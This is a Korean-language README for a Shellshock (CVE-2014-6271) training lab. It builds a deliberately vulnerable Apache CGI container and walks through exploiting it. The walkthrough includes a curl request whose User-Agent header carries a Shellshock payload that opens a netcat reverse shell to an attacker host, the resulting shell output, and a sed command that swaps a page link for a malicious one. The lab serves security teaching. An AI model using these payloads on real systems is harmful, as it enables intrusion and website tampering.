
이 저장소는 CVE-2014-6271(https://nvd.nist.gov/vuln/detail/cve-2014-6271)의 PoC 환경입니다.
이 리포지토리는 CVE-2014-6271의 PoC 환경입니다.
apache2 컨테이너 이미지를 사용하여 취약점을 포함한 웹 서비스를 배포할 수 있습니다.
Dockerfile에서 안전하지 않은 이미지를 빌드합니다.
# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/
Docker
PoC 컨테이너를 docker 컨테이너로 배포합니다.
# docker run -d -p 8080:80 training-website-poc:v1.0
Kubernetes
PoC 컨테이너를 k8s 파드 및 서비스로 배포합니다.
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml
배포가 완료된 후, 브라우저로 다음 URL에 접속하면 웹 페이지를 볼 수 있습니다.
웹 페이지 하단의 "Click!" 링크를 클릭하면 k8s 랩 환경에 접속할 수 있습니다.
Docker
http://<docker host IP>:8080
Kubernetes
http://<k8s service endpoint>:<k8s service port>
이 데모에서는 공격자 호스트(컨테이너 외부)에서 CVE-2014-6271의 취약점을 악용하여 웹 페이지를 변경할 수 있습니다.
공격자 호스트에서 다음 명령을 실행하세요.
터미널 1
# nc -nvlp 5050
터미널 2
※이 경우 Docker를 사용하여 PoC 컨테이너를 배포합니다. Kubernetes의 경우 URL은 http://<k8s service endpoint>:<k8s service port>여야 합니다.
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable
그 후 터미널 1에서 PoC 컨테이너의 /bin/bash가 실행되는 것을 확인할 수 있습니다.
Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin
웹 페이지의 "Click!" 링크를 변경합니다.
이 경우 악성 링크용 더미 페이지를 사용합니다.
sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html
웹 페이지에 다시 접속하여 하단의 "Click!" 링크를 클릭합니다.
http://<docker host IP>:8080
https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271